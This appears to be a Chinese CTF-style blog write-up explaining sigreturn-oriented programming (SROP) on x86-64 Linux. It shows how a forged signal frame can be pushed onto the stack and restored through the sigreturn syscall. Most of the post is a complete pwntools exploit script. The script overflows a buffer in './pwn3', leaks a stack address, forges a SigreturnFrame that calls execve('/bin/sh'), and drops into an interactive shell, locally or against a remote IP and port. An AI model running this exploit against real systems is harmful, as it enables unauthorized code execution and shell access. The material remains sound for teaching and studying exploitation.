内核在 signal 信号处理的过程中的工作中,其主要做的工作就是为进程保存上下文,并且恢复上下文。这个主要的变动都在 Signal Frame 中。但是需要注意的是:
Signal Frame 是被保存在用户的地址空间中,所以用户是可以读写的。由于内核与信号处理程序无关 (kernel agnostic about signal handlers),它并不会去记录这个 signal 对应的 Signal Frame,所以当执行 sigreturn 系统调用时,此时的 Signal Frame 并不一定是之前内核为用户进程保存的 Signal Frame。所以通过输入流(如read,gets,scanf等)伪造一个frame在栈中,然后执行sigreturn的系统调用,对于frame的伪造可以利用pwntools中的SigreturnFrame()函数:
frame=SigreturnFrame()
frame.rax=constants.SYS_execve #(或者填59) #exceve 系统调用号59
frame.rdi=binsh_addr
frame.rsi=0
frame.rdx=0
frame.rip=syscall
stub_execve 的调用号 为 59
stub_rt_sigreturn 的调用号 为 15
其中sigreturn是一个系统调用,在类 unix 系统发生 signal 的时候会被间接地调用。
如下图的一个例子,地址0x4004da为sigreturn系统调用的利用地址:
from pwn import *
def exp():
a=int(input("请选择模式\n1:远程攻击\n2:本地攻击\n3:exp调试\n"))
if a == 1:
context(arch='amd64',os='linux',log_level='debug')
r=remote("123.21.34.8",28578)
elif a == 2:
r=process('./pwn3')
else:
r=gdb.debug('./pwn3',gdbscript='b main')
syscall=0x0000000000400501
sigreturn=0x00000000004004DA
vuln=0x4004ED
p=b'a'*(0x10)+p64(vuln)
r.sendline(p)
r.recv(0x20)
binsh_addr=u64(r.recv(0x8))-0x118
print("binshaddr-------------->"+str(hex(binsh_addr)))
frame=SigreturnFrame()
frame.rax=constants.SYS_execve #exceve 系统调用号59
frame.rdi=binsh_addr
frame.rsi=0
frame.rdx=0
frame.rip=syscall
p1=flat(b'/bin/sh\x00'*2,sigreturn,syscall,frame)
r.sendline(p1)
r.interactive()
if __name__=='__main__':
exp()
...
...
...
...
Comments | NOTHING